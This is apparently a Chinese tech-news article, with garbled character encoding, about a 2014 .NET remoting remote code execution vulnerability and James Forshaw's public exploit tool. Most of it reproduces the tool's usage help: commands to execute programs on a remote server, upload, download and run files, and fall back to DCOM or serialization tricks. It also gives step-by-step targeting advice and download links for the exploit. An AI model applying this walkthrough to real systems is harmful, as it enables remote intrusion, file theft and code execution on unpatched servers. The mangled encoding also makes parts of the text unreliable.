就在上周微軟宣布.NET開(kāi)源的好消息,其內(nèi)容涉及.NET Framework Libraries、.NET Core Framework Libraries 和 RyuJit VM,允許開(kāi)發(fā)者編寫(xiě)運(yùn)行于Mac OS X和Linux 的 .NET 程序。應(yīng)用程序開(kāi)發(fā)者們笑了,這沒(méi)什么……關(guān)鍵是安全研究者們也笑了。就在這兩天,.NET被曝遠(yuǎn)程代碼執(zhí)行漏洞。
關(guān)于漏洞發(fā)現(xiàn)者
這是一位來(lái)自英國(guó)的安全研究者的最新研究成果,他本人之前還發(fā)現(xiàn)了Windows8.1預(yù)覽版漏洞,為此微軟官方已經(jīng)支付了他的10萬(wàn)美刀的獎(jiǎng)勵(lì)。
我們可以稱之福肖先生(Mr Forshaw),今年34歲,住在倫敦,在某次對(duì)Mr Forshaw采訪中他說(shuō):
“我總共研究過(guò)程大約花費(fèi)了三個(gè)半周。我想出很多方法,終有一個(gè)成功了!在漏洞挖掘領(lǐng)域,我有超過(guò)10年的經(jīng)驗(yàn)。因此從最初的構(gòu)思,到最終將漏洞發(fā)送給微軟,我僅花費(fèi)了兩周時(shí)間。”
.NET遠(yuǎn)程代碼執(zhí)行漏洞EXP
以下內(nèi)容提供的安全工具、程序(方法)可能帶有攻擊性,僅供安全研究與教學(xué)之用,風(fēng)險(xiǎn)自負(fù)!
ExploitRemotingService (c) 2014 James Forshaw
這是一款漏洞利用工具,可以遠(yuǎn)程執(zhí)行.NET服務(wù),相關(guān)漏洞是CVE-2014-1806或CVE-2014-4149
它只在Windows下面有用,盡管有些方面也許可以在*nix的Mono上面運(yùn)行
使用說(shuō)明:
ExploitRemotingService [options] uri command [command args]
Copyright (c) James Forshaw 2014
URI:
下面是一些提供支持的URI:
tcp://host:port/ObjName – TCP connection on host and portname
ipc://channel/ObjName – Named pipe channel
選項(xiàng):
-s, –secure Enable secure mode
-p, –port=VALUE Specify the local TCP port to listen on
-i, –ipc=VALUE Specify listening pipe name for IPC channel
–user=VALUE Specify username for secure mode
–pass=VALUE Specify password for secure mode
–ver=VALUE Specify version number for remote, 2 or 4
–usecom Use DCOM backchannel instead of .NET remoting
–remname=VALUE Specify the remote object name to register
-v, –verbose Enable verbose debug output
–useser Uses old serialization tricks, only works on
full type filter services
-h, -?, –help
命令:
exec [-wait] program [cmdline]: Execute a process on the hosting server
cmd cmdline : Execute a command line process and display stdou
t
put localfile remotefile : Upload a file to the hosting server
get remotefile localfile : Download a file from the hosting server
ls remotedir : List a remote directory
run file [args] : Upload and execute an assembly, calls entry point
user : Print the current username
ver : Print the OS version
該工具支持利用TCP遠(yuǎn)程服務(wù)和當(dāng)?shù)豂PC服務(wù),用來(lái)進(jìn)行利用測(cè)試時(shí)你必須知道.NET遠(yuǎn)程服務(wù)和監(jiān)聽(tīng)(TCP)的端口的名稱,或命名管道(IPC)的名稱。這些通常可以在服務(wù)器或客戶端代碼中找到,尋找諸如下面的調(diào)用:
RemotingConfiguration.RegisterWellKnownServiceType or Activator.CreateInstance
然后你可以試著通過(guò)構(gòu)造一個(gè)合適的URL來(lái)利用。如果是TCP,你可以使用這種URL格式
tcp://hostname:port/ServiceName.
如果是IPC則使用
ipc://NamedPipeName/ServiceName.
我們來(lái)做一個(gè)簡(jiǎn)單的測(cè)試:
ExploitRemotingService SERVICEURL ver
如果成功的話,它應(yīng)該打印出托管.NET服務(wù)的操作系統(tǒng)版本。但是如果你得到的是一個(gè)異常的話,則可能是基于cve – 2014 – 1806的漏洞被修復(fù)啦。如果真是那樣的話,此時(shí)你試一下COM版本使用方法:
ExploitRemotingService -usecom SERVICEURL ver
本地工作最好不過(guò),但是如果你有能力修改COM配置、禁用防火墻就可以遠(yuǎn)程工作。如果仍然不湊效,那么它可能是一個(gè)最新版本的服務(wù)器了。嗯哼,你依然可以把所有序列化版本使用方法都試一遍。為此遠(yuǎn)程服務(wù)必須啟用完整typefilter模式(這是一些,尤其是IPC服務(wù))
ExploitRemotingService -useser SERVICEURL ls c:
資源Github上可查: https://github.com/tyranid/ExploitRemotingService
利用的數(shù)據(jù)庫(kù)鏡像: http://www.exploit-db.com/sploits/35280.zip
作者Twitter:https://twitter.com/tiraniddo/status/533367961244139520